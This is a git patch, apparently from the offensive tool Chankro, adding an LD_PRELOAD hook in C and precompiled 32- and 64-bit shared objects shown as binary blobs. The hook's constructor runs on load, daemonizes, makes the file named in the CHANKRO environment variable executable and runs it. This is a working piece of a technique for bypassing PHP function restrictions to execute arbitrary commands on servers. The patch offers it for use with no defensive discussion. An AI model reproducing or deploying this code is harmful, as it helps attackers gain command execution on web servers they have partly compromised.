From dfd1f0df212a84d1e0bb734d530f19624b57e004 Mon Sep 17 00:00:00 2001 From: TarlogicSecurity Date: Wed, 2 May 2018 09:45:55 +0200 Subject: [PATCH] Add files via upload Updated Chankro --- hook.c | 27 +++++++++++++++++++++++++++ hook32.so | Bin 0 -> 7292 bytes hook64.so | Bin 0 -> 8504 bytes 3 files changed, 27 insertions(+) create mode 100644 hook.c create mode 100644 hook32.so create mode 100644 hook64.so diff --git a/hook.c b/hook.c new file mode 100644 index 0000000..0d6f341 --- /dev/null +++ b/hook.c @@ -0,0 +1,27 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include + + +void pwn(void) { + chmod(getenv("CHANKRO"), 00777); + system(getenv("CHANKRO")); +} + +void daemonize(void) { + signal(SIGHUP, SIG_IGN); + if (fork() != 0) { + exit(EXIT_SUCCESS); + } +} + +__attribute__ ((__constructor__)) void preloadme(void) { + unsetenv("LD_PRELOAD"); + daemonize(); + pwn(); +} + diff --git a/hook32.so b/hook32.so new file mode 100644 index 0000000000000000000000000000000000000000..6f8d4567fc20a371d170f4f3928318cc851f1b4b GIT binary patch literal 7292 zcmeHMZETa*6+Vswm^P$=Wk5?>JQfvb!E-2tjCLCN?Ls zHo*l!(?}U&ohnTODVtVlXzGVFsbiH=LMx)7jdh!frfx!;=$w&h?aC;tXuapT*EfEX zqG_76e>v#*+~=O>e&3t--ow-NjSViBON_Y1EkyluMApOJSfV}a#Vhk2G%66-f6vF#X47V2;g*7l{!AV9Edf z3>vV$_ z>vN0tE|jOmE-ym4dDwg<9`NOORN{F!)3VV=UUm-vjrOomqx4=Y?w>?iJ5n65C7%0#!qYlt@!?^pPJ z{B{gyN7(s};lZ-$RtW($P4zI zxR#zQ-JQLhzECp$;n<0rLqA^$o@Cy^&%pVIQGSo9fYqG1*0TEI8@CG5lZ7Y7-nhQp zb>-K$?9#!Lw^`rY_Fb6Trrp`MQQP1Xx5xAKp`Dh@*FhQ>d*@zE@?>HEIo2mVD+kjY z3OcheJz11}l~a(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6ZIrydHO*%;B zER+vml?IJ#$j;6pB+ZzB|V8 zRAg>iaTOXAU#c%=2ijomq_$y`iYM%luQT4`YwL+bgKHx}Q79Zpg~b=_i=(8rc2au| zhLWjBB0ddR@FCbozD{&UZSkqLeMtH`6M%N87r!b>=}RV5^v@Rx=XPH>h$;-yMfEn+ zB~1E2J7{Pn5R0^<2ML?iBZr|xA0mn3!-0rlljFGk*TTQ^{A}^KI%Dysg4`!l`1k)N z?jq#zJ5J>{z}!v9qgFwA7b1`MBWe?rJ{V<9{DEc3<9DCRdz2A!DZC@`PDI`)3Q!+H z+O*4j>K-WXP)zflK=mW-Y!^_1P~HZ}K$NLFY-zGGXeWM(O8XmuU)Q^~v6H{go z*zov$q3YX(CYt_zJICX^@Sa2E-PDMw`UPY#O`h}rW(?2N_ag_7_af@3A;B8n%SiJ! z#raqNmjqzOh%Ch;_jM?5S>*AaQ3zn_K-Ls*9BKBCJl+>Pci_P#zl3tl$m2bL|5tSt zX;UXH`_T_I_3=J73Es^4BbOmr!xJw67QhcSGf;r$!*0U|sA literal 0 HcmV?d00001 diff --git a/hook64.so b/hook64.so new file mode 100644 index 0000000000000000000000000000000000000000..dfc5d298f93bb38d60745e10dd0db9fc443e3273 GIT binary patch literal 8504 zcmeHMdyG_989%eb!UD_e0BuJu?#%8?na4Vh zWtR{|K`d=ZNbwb|iZvQF#*msAZEXu;u~Gk6TdSC;*{Dr+w4@MYvxaoX-*?XWX3pHX ztBrpc|KLpS{m%FM9_Mk-J@-4`e7vKpv&QEWT>RpLg1E_f3Te@T>E*ft(jvBtdAL6) zR!QC3vZ$(-SfC)LLWCqhZOp|ry-2d4Az5KMQls!OP1%lEvTF<|d1D|XD@?EIp)jpe zYGMv3U9V}mo37D%Oi7nY_glFL)yL*bwu*j0!GbBG@!) zha<;!AAI<6?LKf=#3Bzo)zN$Rx5;zYp6Y($*2Aav9etFVAURDr&;OHGLmf3|`vU$y!^ik zJSdilSTKZIxm-YXiKrL%>2K9sNZYt zMm!+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